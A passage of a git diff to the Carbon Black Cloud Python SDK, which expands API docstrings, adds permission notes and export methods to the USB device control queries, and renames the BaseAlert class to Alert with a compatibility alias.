query=None): self._ranges = [] self._default_args = {} - def add_exclusions(self, key, newlist): - """Add to the excluions on this query with a custom exclusion key. - - Args: - key (str): The key for the exclusion item to be set. - newlist (str or list[str]): Value or list of values to be set for the exclusion item. - - Returns: - The ResultQuery with specified custom exclusion. - - Example: - >>> query = api.select(Event).add_exclusions("netconn_domain", ["www.google.com"]) - >>> query = api.select(Event).add_exclusions("netconn_domain", "www.google.com") - """ - if not isinstance(newlist, list): - if not isinstance(newlist, str): - raise ApiError("Exclusion value(s) must be a string or list of strings. " - f"{newlist} is a {type(newlist)}.") - self._add_exclusions(key, [newlist]) - else: - self._add_exclusions(key, newlist) - return self - - def _add_exclusions(self, key, newlist): - """ - Updates a list of exclusion being collected for a query, by setting or appending items. - - Args: - key (str): The key for the exclusion item to be set. - newlist (list): List of values to be set for the exclusion item. - """ - oldlist = self._exclusions.get(key, []) - self._exclusions[key] = oldlist + newlist - def timeout(self, msecs): """Sets the timeout on an AsyncQuery. By default, there is no timeout. @@ -2232,10 +2248,10 @@ def set_time_range(self, start=None, end=None, window=None): - `window` will take precendent over `start` and `end` if provided. Examples: - >>> query = api.select(Event).set_time_range(start="2020-10-20T20:34:07Z") - >>> second_query = api.select(Event). - ... set_time_range(start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z") - >>> third_query = api.select(Event).set_time_range(window='-3d') + >>> query = api.select(Process).set_time_range(start="2020-10-20T20:34:07Z").where("query is required") + >>> second_query = api.select(Process). + ... set_time_range(start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z").where("query is required") + >>> third_query = api.select(Process).set_time_range(window='-3d').where("query is required") """ if start: if not isinstance(start, str): @@ -2273,7 +2289,7 @@ def _get_query_parameters(self): args["time_range"] = self._time_range query = self._query_builder._collapse() if query: - args['query'] = query + args["query"] = query return args def _submit(self): @@ -2333,15 +2349,25 @@ def _validate(self, args): if not hasattr(self._doc_class, "validation_url"): return + if not args.get('query'): + return + url = self._doc_class.validation_url.format(self._cb.credentials.org_key) + method = self._doc_class.validation_method if hasattr(self._doc_class, "validation_method") else "GET" if args.get('query', False): args['q'] = args['query'] # v2 search sort key does not work with v1 validation args.pop('sort', None) + # remove duplicate q + args.pop("q") - validated = self._cb.get_object(url, query_parameters=args) + if method == "POST": + result = self._cb.post_object(url, {'query': args['q']}) + validated = result.json() + else: + validated = self._cb.get_object(url, query_parameters=args) if not validated.get("valid"): raise ApiError("Invalid query: {}: {}".format(args, validated["invalid_message"])) diff --git a/src/cbc_sdk/connection.py b/src/cbc_sdk/connection.py index 5b15a538e..0d95b8779 100644 --- a/src/cbc_sdk/connection.py +++ b/src/cbc_sdk/connection.py @@ -386,15 +386,41 @@ def delete(self, url, **kwargs): class BaseAPI(object): - """The base API object used by all CBC SDK objects to communicate with the server.""" + """The base API object used by all CBC SDK objects to communicate with the server. + + This class is not used directly, but most commonly via the ``CBCloudAPI`` class. + """ def __init__(self, *args, **kwargs): """ Initialize the base API information. Args: - *args: Unused. - **kwargs: Additional arguments. + *args (list): Unused. + **kwargs (dict): Additional arguments. + + Keyword Args: + credential_file (str): The name of a credential file to be used by the default credential provider. + credential_provider (cbc_sdk.credentials.CredentialProvider): An alternate credential provider to use to + find the credentials to be used when accessing the Carbon Black Cloud. + csp_api_token (str): The CSP API Token for Carbon Black Cloud. + csp_oauth_app_id (str): The CSP OAuth App ID for Carbon Black Cloud. + csp_oauth_app_secret (str): The CSP OAuth App Secret for Carbon Black Cloud. + integration_name (str): The name of the integration using this connection. This should be specified as + a string in the format 'name/version' + max_retries (int): The maximum number of times to retry failing API calls. Default is 5. + org_key (str): The organization key value to use when accessing the Carbon Black Cloud. + pool_block (bool): ``True`` if the connection pool should block when no free connections are available. + Default is ``False``. + pool_connections (int): Number of HTTP connections to be pooled for this instance. Default is 1. + pool_maxsize (int): Maximum size of the connection pool. Default is 10. + profile (str): Use the credentials in the named profile when connecting to the Carbon Black Cloud server. + Uses the profile named 'default' when not specified. + proxy_session (requests.session.Session): Proxy session to be used for cookie persistence, connection + pooling, and configuration. Default is ``None`` (use the standard session). + timeout (float): The timeout to use for for API requests. Default is ``None`` (no timeout). + token (str): The API token to use when accessing the Carbon Black Cloud. + url (str): The URL of the Carbon Black Cloud provider to use. """ integration_name = kwargs.pop("integration_name", None) self.credential_provider = kwargs.pop("credential_provider", None) @@ -437,16 +463,18 @@ def __init__(self, *args, **kwargs): pool_block=pool_block) def get_object(self, uri, query_parameters=None, default=None): - """ - Submit a GET request to the server and parse the result as JSON before returning. + """Submit a ``GET`` request to the server and parse the result as JSON before returning. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the GET request to. - query_parameters (object): Parameters for the query. + uri (str): The URI to send the ``GET`` request to. + query_parameters (dict): Parameters for the query. default (object): What gets returned in the event of an empty response. Returns: - object: Result of the GET request. + object: Result of the GET request, as JSON. """ result = self.api_json_request("GET", uri, params=query_parameters) if result.status_code == 200: @@ -463,14 +491,19 @@ def get_object(self, uri, query_parameters=None, default=None): uri=uri) def get_raw_data(self, uri, query_parameters=None, default=None, **kwargs): - """ - Submit a GET request to the server and return the result without parsing it. + """Submit a ``GET`` request to the server and return the result without parsing it. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the GET request to. - query_parameters (object): Parameters for the query. + uri (str): The URI to send the ``GET`` request to. + query_parameters (dict): Parameters for the query. default (object): What gets returned in the event of an empty response. - **kwargs: + **kwargs (dict): Additional arguments. + + Keyword Args: + headers (dict): Header names and values to pass to the ``GET`` request. Returns: object: Result of the GET request. @@ -487,16 +520,22 @@ def get_raw_data(self, uri, query_parameters=None, default=None, **kwargs): uri=uri) def api_json_request(self, method, uri, **kwargs): - """ - Submit a request to the server. + """Submit a request to the server. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: method (str): HTTP method to use. uri (str): URI to submit the request to. **kwargs (dict): Additional arguments. + Keyword Args: + data (object): Body data to be passed to the request, formatted as JSON. + headers (dict): Header names and values to pass to the request. + Returns: - object: Result of the operation. + object: Result of the operation, as JSON Raises: ServerError: If there's an error output from the server. @@ -525,8 +564,10 @@ def api_json_request(self, method, uri, **kwargs): return result def api_request_stream(self, method, uri, stream_output, **kwargs): - """ - Submit a request to the specified URI and stream the results back into the given stream object. + """Submit a request to the specified URI and stream the results back into the given stream object. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: method (str): HTTP method to use. @@ -534,6 +575,10 @@ def api_request_stream(self, method, uri, stream_output, **kwargs): stream_output (RawIOBase): The output stream to write the data to. **kwargs (dict): Additional arguments for the request. + Keyword Args: + data (object): Body data to be passed to the request, formatted as JSON. + headers (dict): Header names and values to pass to the request. + Returns: object: The return data from the request. """ @@ -554,19 +599,24 @@ def api_request_stream(self, method, uri, stream_output, **kwargs): return resp def api_request_iterate(self, method, uri, **kwargs): - """ - Submit a request to the specified URI and iterate over the response as lines of text. + """Submit a request to the specified URI and iterate over the response as lines of text. Should only be used for requests that can be expressed as large amounts of text that can be broken into lines. - Since this is an iterator, call it with the 'yield from' syntax. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: method (str): HTTP method to use. uri (str): The URI to send the request to. **kwargs (dict): Additional arguments for the request. - Returns: - iterable: An iterable that can be used to get each line of text in turn as a string. + Keyword Args: + data (object): Body data to be passed to the request, formatted as JSON. + headers (dict): Header names and values to pass to the request. + + Yields: + str: Each line of text in the returned data. """ headers = kwargs.pop("headers", {}) raw_data = None @@ -584,23 +634,27 @@ def api_request_iterate(self, method, uri, **kwargs): yield line def post_object(self, uri, body, **kwargs): - """ - Send a POST request to the specified URI. + """Send a ``POST`` request to the specified URI. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the POST request to. - body (object): The data to be sent in the body of the POST request. - **kwargs (dict): Additional arguments for the HTTP POST. + uri (str): The URI to send the ``POST`` request to. + body (object): The data to be sent in the body of the ``POST`` request, as JSON. + **kwargs (dict): Additional arguments for the HTTP ``POST``. + + Keyword Args: + headers (dict): Header names and values to pass to the request. Returns: - object: The return data from the POST request. + object: The return data from the ``POST`` request, as JSON. """ return self.api_json_request("POST", uri, data=body, **kwargs) @classmethod def _map_multipart_param(cls, table_entry, value): - """ - Set up the tuple for a multipart request parameter. + """Set up the tuple for a multipart request parameter. Args: table_entry (dict): Entry from the parameter table for the multipart method call. @@ -612,19 +666,23 @@ def _map_multipart_param(cls, table_entry, value): return table_entry.get('filename', None), value, table_entry.get('type', None) def post_multipart(self, uri, param_table, **kwargs): - """ - Send a POST request to the specified URI, with parameters sent as multipart form data. + """Send a ``POST`` request to the specified URI, with parameters sent as ``multipart/form-data``. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the POST request to. + uri (str): The URI to send the ``POST`` request to. param_table (dict): A dict of known parameters to the underlying method, each element of which is a parameter name mapped to a dict, which contains elements 'filename' and 'type' representing the pseudo-filename to be used for the data and the MIME type of the data. **kwargs (dict): Arguments to pass to the API. Except for "headers," these will all be added as parameters to the form data sent. + Keyword Args: + headers (dict): Header names and values to pass to the request. Returns: - object: The return data from the POST request. + object: The return data from the ``POST`` request. """ headers = kwargs.pop("headers", {}) headers['Content-Type'] = 'multipart/form-data' @@ -633,43 +691,52 @@ def post_multipart(self, uri, param_table, **kwargs): return self.api_json_request("POST", uri, headers=headers, files=files_body) def put_object(self, uri, body, **kwargs): - """ - Send a PUT request to the specified URI. + """Send a ``PUT`` request to the specified URI. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the PUT request to. - body (object): The data to be sent in the body of the PUT request. - **kwargs: + uri (str): The URI to send the ``PUT`` request to. + body (object): The data to be sent in the body of the ``PUT`` request. + **kwargs (dict): Additional arguments for the HTTP ``PUT``. + + Keyword Args: + headers (dict): Header names and values to pass to the request. Returns: - object: The return data from the PUT request. + object: The return data from the ``PUT`` request, as JSON. """ return self.api_json_request("PUT", uri, data=body, **kwargs) def delete_object(self, uri): - """ - Send a DELETE request to the specified URI. + """Send a ``DELETE`` request to the specified URI. + + Normally only used by other SDK objects; used from user code only to submit a request to the server that is + not currently implemented in the SDK. Args: - uri (str): The URI to send the DELETE request to. + uri (str): The URI to send the ``DELETE`` request to. Returns: - object: The return data from the DELETE request. + object: The return data from the ``DELETE`` request, as JSON. """ return self.api_json_request("DELETE", uri) def select(self, cls, unique_id=None, *args, **kwargs): - """ - Prepare a query against the Carbon Black data store. + """Prepare a query against the Carbon Black data store. + + Most objects returned by the SDK are returned via queries created using this method. Args: cls (class | str): The Model class (for example, Computer, Process, Binary, FileInstance) to query - unique_id (optional): The unique id of the object to retrieve, to retrieve a single object by ID - *args: - **kwargs: + unique_id (Any): The unique id of the object to retrieve, to retrieve a single object by ID. Default + is ``None`` (create a standard query). + *args (list): Additional arguments to pass to a created object. + **kwargs (dict): Additional arguments to pass to a created object or query. Returns: - object: An instance of the Model class if a unique_id is provided, otherwise a Query object + object: An instance of the ``Model`` class if a ``unique_id`` is provided, otherwise a ``Query`` object. """ if isinstance(cls, str): cls = select_class_instance(cls) @@ -679,18 +746,17 @@ def select(self, cls, unique_id=None, *args, **kwargs): return self._perform_query(cls, **kwargs) def create(self, cls, data=None): - """ - Create a new object. + """Create a new object of a ``Model`` class. Args: - cls (class): The Model class (only some models can be created, for example, Feed, Notification, ...) - data (object): The data used to initialize the new object + cls (class): The ``Model`` class (only some models can be created, for example, Feed, Notification, ...) + data (object): The data used to initialize the new object. Returns: Model: An empty instance of the model class. Raises: - ApiError: If the Model cannot be created. + ApiError: If the ``Model`` cannot be created. """ if issubclass(cls, CreatableModelMixin): n = cls(self) @@ -706,12 +772,7 @@ def _perform_query(self, cls, **kwargs): @property def url(self): - """ - Return the connection URL. - - Returns: - str: The connection URL. - """ + """The connection URL.""" return self.session.server @@ -719,8 +780,7 @@ def url(self): # TODO: how does this interfere with mutable objects? @lru_cache_function(max_size=1024, expiration=1 * 60) def select_instance(api, cls, unique_id, *args, **kwargs): - """ - Return a new instance of the specified class, given the unique id to fetch the data. + """Return a new instance of the specified class, given the unique id to fetch the data. Args: api (CBCloudAPI): Instance of the CBCloudAPI object. @@ -736,14 +796,16 @@ def select_instance(api, cls, unique_id, *args, **kwargs): def select_class_instance(cls: str): - """ - Selecting the appropriate class based on the passed string. + """Given a string class name of a model class, returns the corresponding Carbon Black Cloud SDK class. Args: - cls: The class name represented in a string. + cls (str): The class name represented in a string. Returns: - Object[]: + class: The class specified by ``cls``. + + Raises: + ModelNotFound: The specified class could not be found. """ # Walk through all the packages contained in the `cbc_sdk`, ensures the loading # of all the needed packages. @@ -761,6 +823,10 @@ def select_class_instance(cls: str): # https://www.python.org/dev/peps/pep-3155/#rationale lookup_dict = {klass.__qualname__: klass for klass in subclasses} + + # Add for backwards compatibility without affecting readthedocs + lookup_dict["BaseAlert"] = cbc_sdk.platform.alerts.Alert + if cls in lookup_dict.keys(): return lookup_dict[cls] raise ModelNotFound() diff --git a/src/cbc_sdk/endpoint_standard/base.py b/src/cbc_sdk/endpoint_standard/base.py index 3e1f86ee8..0cfdf87f9 100644 --- a/src/cbc_sdk/endpoint_standard/base.py +++ b/src/cbc_sdk/endpoint_standard/base.py @@ -41,7 +41,7 @@ class Event: info_key = "eventInfo" def _parse(self, obj): - if type(obj) == dict and self.info_key in obj: + if isinstance(obj, dict) and self.info_key in obj: return obj[self.info_key] def __init__(self, cb, model_unique_id, initial_data=None): diff --git a/src/cbc_sdk/endpoint_standard/recommendation.py b/src/cbc_sdk/endpoint_standard/recommendation.py index 2e9588f46..a379bc8c2 100644 --- a/src/cbc_sdk/endpoint_standard/recommendation.py +++ b/src/cbc_sdk/endpoint_standard/recommendation.py @@ -17,7 +17,6 @@ AsyncQueryMixin) from cbc_sdk.errors import ApiError, NonQueryableModel from cbc_sdk.platform.reputation import ReputationOverride -from cbc_sdk.platform.devices import DeviceSearchQuery import logging @@ -421,7 +420,7 @@ def sort_by(self, key, direction="ASC"): Returns: USBDeviceQuery: This instance. """ - if direction not in DeviceSearchQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -438,7 +437,9 @@ def _build_request(self, from_row, max_rows, add_sort=True): Returns: dict: The complete request body. """ - request = {"criteria": self._criteria, "rows": 50} + request = {"rows": 50} + if self._criteria: + request["criteria"] = self._criteria # Fetch 50 rows per page (instead of 10 by default) for better performance if from_row > 0: request["start"] = from_row diff --git a/src/cbc_sdk/endpoint_standard/usb_device_control.py b/src/cbc_sdk/endpoint_standard/usb_device_control.py index 0cb98292a..617a662f8 100755 --- a/src/cbc_sdk/endpoint_standard/usb_device_control.py +++ b/src/cbc_sdk/endpoint_standard/usb_device_control.py @@ -16,7 +16,7 @@ from cbc_sdk.base import (NewBaseModel, MutableBaseModel, BaseQuery, QueryBuilder, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin) from cbc_sdk.errors import ApiError, ServerError -from cbc_sdk.platform.devices import DeviceSearchQuery +from cbc_sdk.platform.jobs import Job import logging import time import json @@ -65,6 +65,9 @@ def _build_api_request_uri(self, http_method="GET"): """ Build the unique URL used to make requests for this object. + Required Permissions: + external-device.manage (READ) + Args: http_method (str): Not used; retained for compatibility. @@ -89,6 +92,9 @@ def _update_object(self): """ Updates the object data on the server. + Required Permissions: + external-device.manage (CREATE) + Returns: str: The unique ID of this object. """ @@ -125,6 +131,9 @@ def bulk_create(cls, cb, approvals): """ Creates multiple approvals and returns the USBDeviceApproval objects. Data is supplied as a list of dicts. + Required Permissions: + external-device.manage (CREATE) + Args: cb (BaseAPI): Reference to API object used to communicate with the server. approvals (list): List of dicts containing approval data to be created, formatted as shown below. @@ -154,6 +163,9 @@ def bulk_create_csv(cls, cb, approval_data): """ Creates multiple approvals and returns the USBDeviceApproval objects. Data is supplied as text in CSV format. + Required Permissions: + external-device.manage (CREATE) + Args: cb (BaseAPI): Reference to API object used to communicate with the server. approval_data (str): CSV data for the approvals to be created. Header line MUST be included @@ -225,6 +237,9 @@ def _refresh(self): """ Rereads the object data from the server. + Required Permissions: + org.policies (READ) + Returns: bool: True if refresh was successful, False if not. """ @@ -234,7 +249,12 @@ def _refresh(self): return True def delete(self): - """Delete this object.""" + """ + Delete this object. + + Required Permissions: + org.policies (DELETE), external-device.enforce (UPDATE) + """ if self._model_unique_id: ret = self._cb.delete_object(self._build_api_request_uri()) else: @@ -253,6 +273,9 @@ def create(cls, cb, policy_id): """ Creates a USBDeviceBlock for a given policy ID. + Required Permissions: + org.policies (UPDATE), external-device.enforce (UPDATE) + Args: cb (BaseAPI): Reference to API object used to communicate with the server. policy_id (str/int): Policy ID to create a USBDeviceBlock for. @@ -268,6 +291,9 @@ def bulk_create(cls, cb, policy_ids): """ Creates multiple blocks and returns the USBDeviceBlocks that were created. + Required Permissions: + org.policies (UPDATE), external-device.enforce (UPDATE) + Args: cb (BaseAPI): Reference to API object used to communicate with the server. policy_ids (list): List of policy IDs to have blocks created for. @@ -308,6 +334,9 @@ def approve(self, approval_name, notes): """ Creates and saves an approval for this USB device, allowing it to be treated as approved from now on. + Required Permissions: + external-device.manage (CREATE) + Args: approval_name (str): The name for this new approval. notes (str): Notes to be added to this approval. @@ -340,6 +369,9 @@ def _refresh(self): """ Rereads the object data from the server. + Required Permissions: + external-device.manage (READ) + Returns: bool: True if refresh was successful, False if not. """ @@ -353,6 +385,9 @@ def get_endpoints(self): """ Returns the information about endpoints associated with this USB device. + Required Permissions: + external-device.manage (READ) + Returns: list: List of information about USB endpoints, each item specified as a dict. """ @@ -365,6 +400,9 @@ def get_vendors_and_products_seen(cls, cb): """ Returns all vendors and products that have been seen for the organization. + Required Permissions: + external-device.manage (READ) + Args: cb (BaseAPI): Reference to API object used to communicate with the server. @@ -382,6 +420,7 @@ def get_vendors_and_products_seen(cls, cb): class USBDeviceApprovalQuery(BaseQuery, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin): """Represents a query that is used to locate USBDeviceApproval objects.""" + VALID_EXPORT_FORMATS = ('CSV', 'JSON') def __init__(self, doc_class, cb): """ @@ -455,7 +494,13 @@ def _build_request(self, from_row, max_rows): Returns: dict: The complete request body. """ - request = {"criteria": self._criteria, "query": self._query_builder._collapse(), "rows": 100} + request = {"rows": 100} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query + # Fetch 100 rows per page (instead of 10 by default) for better performance if from_row > 0: request["start"] = from_row @@ -480,6 +525,9 @@ def _count(self): """ Returns the number of results from the run of this query. + Required Permissions: + external-device.manage (READ) + Returns: int: The number of results from the run of this query. """ @@ -500,6 +548,9 @@ def _perform_query(self, from_row=0, max_rows=-1): """ Performs the query and returns the results of the query in an iterable fashion. + Required Permissions: + external-device.manage (READ) + Args: from_row (int): The row to start the query at (default 0). max_rows (int): The maximum number of rows to be returned (default -1, meaning "all"). @@ -536,6 +587,9 @@ def _run_async_query(self, context): """ Executed in the background to run an asynchronous query. + Required Permissions: + external-device.manage (READ) + Args: context (object): Not used, always None. @@ -551,6 +605,30 @@ def _run_async_query(self, context): results = result.get("results", []) return [self._doc_class(self._cb, item["id"], item) for item in results] + def export(self, export_format): + """ + Starts the process of exporting USB device approval data from the organization in a specified format. + + Required Permissions: + external-device.manage (READ) + + Args: + export_format (str): The format to export USB device approval data in. Must be either "CSV" or "JSON". + + Returns: + Job: The asynchronous job that will provide the export output when the server has prepared it. + """ + if not (export_format and export_format.upper() in USBDeviceApprovalQuery.VALID_EXPORT_FORMATS): + raise ApiError(f"invalid export format `{export_format}`") + request = self._build_request(0, -1) + request['format'] = export_format + url = self._build_url("/_export") + resp = self._cb.post_object(url, body=request) + result = resp.json() + if 'job_id' not in result: + raise ApiError("no job ID returned from server") + return Job(self._cb, result['job_id']) + class USBDeviceBlockQuery(BaseQuery, IterableQueryMixin, AsyncQueryMixin): """Represents a query that is used to locate USBDeviceBlock objects.""" @@ -573,6 +651,9 @@ def _count(self): """ Returns the number of results from the run of this query. + Required Permissions: + org.policies (READ) + Returns: int: The number of results from the run of this query. """ @@ -591,6 +672,9 @@ def _perform_query(self, from_row=0, max_rows=-1): """ Performs the query and returns the results of the query in an iterable fashion. + Required Permissions: + org.policies (READ) + Args: from_row (int): The row to start the query at (ignored). max_rows (int): The maximum number of rows to be returned (ignored). @@ -611,6 +695,9 @@ def _run_async_query(self, context): """ Executed in the background to run an asynchronous query. + Required Permissions: + org.policies (READ) + Args: context (object): Not used, always None. @@ -629,6 +716,7 @@ class USBDeviceQuery(BaseQuery, QueryBuilderSupportMixin, CriteriaBuilderSupport """Represents a query that is used to locate USBDevice objects.""" VALID_STATUSES = ["APPROVED", "UNAPPROVED"] VALID_FACET_FIELDS = ["vendor_name", "product_name", "endpoint.endpoint_name", "status"] + VALID_EXPORT_FORMATS = ('CSV', 'JSON') def __init__(self, doc_class, cb): """ @@ -755,7 +843,7 @@ def sort_by(self, key, direction="ASC"): Returns: USBDeviceQuery: This instance. """ - if direction not in DeviceSearchQuery.VALID_DIRECTIONS: + if direction not in CriteriaBuilderSupportMixin.VALID_DIRECTIONS: raise ApiError("invalid sort direction specified") self._sortcriteria = {"field": key, "order": direction} return self @@ -772,7 +860,12 @@ def _build_request(self, from_row, max_rows, add_sort=True): Returns: dict: The complete request body. """ - request = {"criteria": self._criteria, "query": self._query_builder._collapse(), "rows": 100} + request = {"rows": 100} + query = self._query_builder._collapse() + if self._criteria: + request["criteria"] = self._criteria + if query: + request["query"] = query # Fetch 100 rows per page (instead of 10 by default) for better performance if from_row > 0: request["start"] = from_row @@ -802,6 +895,9 @@ def _count(self): """ Returns the number of results from the run of this query. + Required Permissions: + external-device.manage (READ) + Returns: int: The number of results from the run of this query. """ @@ -822,6 +918,9 @@ def _perform_query(self, from_row=0, max_rows=-1): """ Performs the query and returns the results of the query in an iterable fashion. + Required Permissions: + external-device.manage (READ) + Args: from_row (int): The row to start the query at (default 0). max_rows (int): The maximum number of rows to be returned (default -1, meaning "all"). @@ -858,6 +957,9 @@ def _run_async_query(self, context): """ Executed in the background to run an asynchronous query. + Required Permissions: + external-device.manage (READ) + Args: context (object): Not used, always None. @@ -877,6 +979,9 @@ def facets(self, fieldlist, max_rows=0): """ Return information about the facets for all known USB devices, using the defined criteria. + Required Permissions: + external-device.manage (READ) + Args: fieldlist (list): List of facet field names. Valid names are "vendor_name", "product_name", "endpoint.endpoint_name", and "status". @@ -894,3 +999,27 @@ def facets(self, fieldlist, max_rows=0): resp = self._cb.post_object(url, body=request) result = resp.json() return result.get("terms", []) + + def export(self, export_format): + """ + Starts the process of exporting USB device data from the organization in a specified format. + + Required Permissions: + external-device.manage (READ) + + Args: + export_format (str): The format to export USB device data in. Must be either "CSV" or "JSON". + + Returns: + Job: The asynchronous job that will provide the export output when the server has prepared it. + """ + if not (export_format and export_format.upper() in USBDeviceQuery.VALID_EXPORT_FORMATS): + raise ApiError(f"invalid export format `{export_format}`") + request = self._build_request(0, -1) + request['format'] = export_format + url = self._build_url("/_export") + resp = self._cb.post_object(url, body=request) + result = resp.json() + if 'job_id' not in result: + raise ApiError("no job ID returned from server") + return Job(self._cb, result['job_id']) diff --git a/src/cbc_sdk/errors.py b/src/cbc_sdk/errors.py index 47a613e83..1e2b44a34 100644 --- a/src/cbc_sdk/errors.py +++ b/src/cbc_sdk/errors.py @@ -52,8 +52,8 @@ def __init__(self, error_code, message, **kwargs): error_code (int): The error code that was received from the server. message (str): The actual error message. kwargs (dict): Additional arguments, which may include 'result' (server operation result), - 'original_exception' (exception causing this one to be raised), and 'uri' (URI being accessed - when this error was raised). + 'original_exception' (exception causing this one to be raised), and 'uri' (URI being accessed + when this error was raised). """ super(ClientError, self).__init__(message=message, original_exception=kwargs.get('original_exception', None)) @@ -119,8 +119,8 @@ def __init__(self, error_code, message, **kwargs): error_code (int): The error code that was received from the server. message (str): The actual error message. kwargs (dict): Additional arguments, which may include 'result' (server operation result), - 'original_exception' (exception causing this one to be raised), and 'uri' (URI being accessed - when this error was raised). + 'original_exception' (exception causing this one to be raised), and 'uri' (URI being accessed + when this error was raised). """ super(ServerError, self).__init__(message=message, original_exception=kwargs.get('original_exception', None)) diff --git a/src/cbc_sdk/live_response_api.py b/src/cbc_sdk/live_response_api.py index 5a42afa47..7a6249e60 100644 --- a/src/cbc_sdk/live_response_api.py +++ b/src/cbc_sdk/live_response_api.py @@ -722,9 +722,9 @@ def set_registry_value(self, regkey, value, overwrite=True, value_type=None, asy """ real_value = value if value_type is None: - if type(value) == int: + if isinstance(value, int): value_type = "REG_DWORD" - elif type(value) == list: + elif isinstance(value, list): value_type = "REG_MULTI_SZ" real_value = [str(item) for item in list(value)] else: @@ -1175,7 +1175,7 @@ def _spawn_new_workers(self): dformat = '%Y-%m-%dT%H:%M:%S.%fZ' devices = [s for s in self._cb.select(Device) if s.id in self._unscheduled_jobs and s.id not in self._job_workers - and now - datetime.strptime(s.last_contact_time, dformat) < delta] # noqa: W503 + and now - datetime.strptime(s.last_contact_time, dformat) < delta] log.debug("Spawning new workers to handle these devices: {0}".format(devices)) for device in devices: diff --git a/src/cbc_sdk/platform/__init__.py b/src/cbc_sdk/platform/__init__.py index 0079993de..255c07711 100644 --- a/src/cbc_sdk/platform/__init__.py +++ b/src/cbc_sdk/platform/__init__.py @@ -2,8 +2,12 @@ from cbc_sdk.platform.base import PlatformModel -from cbc_sdk.platform.alerts import (BaseAlert, WatchlistAlert, CBAnalyticsAlert, DeviceControlAlert, - ContainerRuntimeAlert, Workflow, WorkflowStatus) +from cbc_sdk.platform.alerts import (Alert, WatchlistAlert, CBAnalyticsAlert, DeviceControlAlert, + ContainerRuntimeAlert, HostBasedFirewallAlert, IntrusionDetectionSystemAlert) + +from cbc_sdk.platform.alerts import Alert as BaseAlert + +from cbc_sdk.platform.audit import AuditLog from cbc_sdk.platform.devices import Device, DeviceFacet, DeviceSearchQuery diff --git a/src/cbc_sdk/platform/alerts.py b/src/cbc_sdk/platform/alerts.py index 2bfb6c5d5..47a4043c2 100644 --- a/src/cbc_sdk/platform/alerts.py +++ b/src/cbc_sdk/platform/alerts.py @@ -13,65 +13,341 @@ """Model and Query Classes for Platform Alerts and Workflows""" import time +import datetime -from cbc_sdk.errors import ApiError, TimeoutError, ObjectNotFoundError, NonQueryableModel +from cbc_sdk.errors import ApiError, ObjectNotFoundError, NonQueryableModel, FunctionalityDecommissioned from cbc_sdk.platform import PlatformModel from cbc_sdk.base import (BaseQuery, - UnrefreshableModel, QueryBuilder, QueryBuilderSupportMixin, IterableQueryMixin, - CriteriaBuilderSupportMixin) -from cbc_sdk.endpoint_standard.base import EnrichedEvent -from cbc_sdk.platform.devices import DeviceSearchQuery + CriteriaBuilderSupportMixin, + ExclusionBuilderSupportMixin + ) +from cbc_sdk.platform.observations import Observation from cbc_sdk.platform.processes import AsyncProcessQuery, Process +from cbc_sdk.platform.legacy_alerts import LegacyAlertSearchQueryCriterionMixin +from cbc_sdk.platform.jobs import Job + +from backports._datetime_fromisoformat import datetime_fromisoformat """Alert Models""" MAX_RESULTS_LIMIT = 10000 -class BaseAlert(PlatformModel): +class Alert(PlatformModel): """Represents a basic alert.""" - urlobject = "/appservices/v6/orgs/{0}/alerts" - urlobject_single = "/appservices/v6/orgs/{0}/alerts/{1}" + REMAPPED_ALERTS_V6_TO_V7 = { + "alert_classification.user_feedback": "determination_value", + "cluster_name": "k8s_cluster", + "create_time": "backend_timestamp", + "created_by_event_id": "primary_event_id", + "first_event_time": "first_event_timestamp", + "last_event_time": "last_event_timestamp", + "last_update_time": "backend_update_timestamp", + "legacy_alert_id": "id", + "namespace": "k8s_namespace", + "notes_present": "alert_notes_present", + "policy_id": "device_policy_id", + "policy_name": "device_policy", + "port": "netconn_local_port", + "protocol": "netconn_protocol", + "remote_domain": "netconn_remote_domain", + "remote_ip": "netconn_remote_ip", + "remote_namespace": "remote_k8s_namespace", + "remote_replica_id": "remote_k8s_pod_name", + "remote_workload_kind": "remote_k8s_kind", + "remote_workload_name": "remote_k8s_workload_name", + "replica_id": "k8s_pod_name", + "rule_id": "rule_id ", + "run_state": "run_state", + "target_value": "device_target_value", + "threat_cause_actor_certificate_authority": "process_issuer", + "threat_cause_actor_name": "process_name", + "threat_cause_actor_publisher": "process_publisher", + "threat_cause_actor_sha256": "process_sha256", + "threat_cause_cause_event_id": "primary_event_id", + "threat_cause_md5": "process_md5", + "threat_cause_parent_guid": "parent_guid", + "threat_cause_reputation": "process_reputation", + "threat_indicators": "ttps", + "watchlists": "watchlists.id", + "workflow.last_update_time": "workflow.change_timestamp", + "workflow.state": "workflow.status", + "workload_kind": "k8s_kind", + "workload_name": "k8s_workload_name" + } + + REMAPPED_ALERTS_V7_TO_V6 = { + "alert_notes_present": "notes_present", + "backend_timestamp": "create_time", + "backend_update_timestamp": "last_update_time", + "determination_value": "alert_classification.user_feedback", + "device_policy": "policy_name", + "device_policy_id": "policy_id", + "device_target_value": "target_value", + "first_event_timestamp": "first_event_time", + "k8s_cluster": "cluster_name", + "k8s_kind": "workload_kind", + "k8s_namespace": "namespace", + "k8s_pod_name": "replica_id", + "k8s_workload_name": "workload_name", + "last_event_timestamp": "last_event_time", + "netconn_local_port": "port", + "netconn_protocol": "protocol", + "netconn_remote_domain": "remote_domain", + 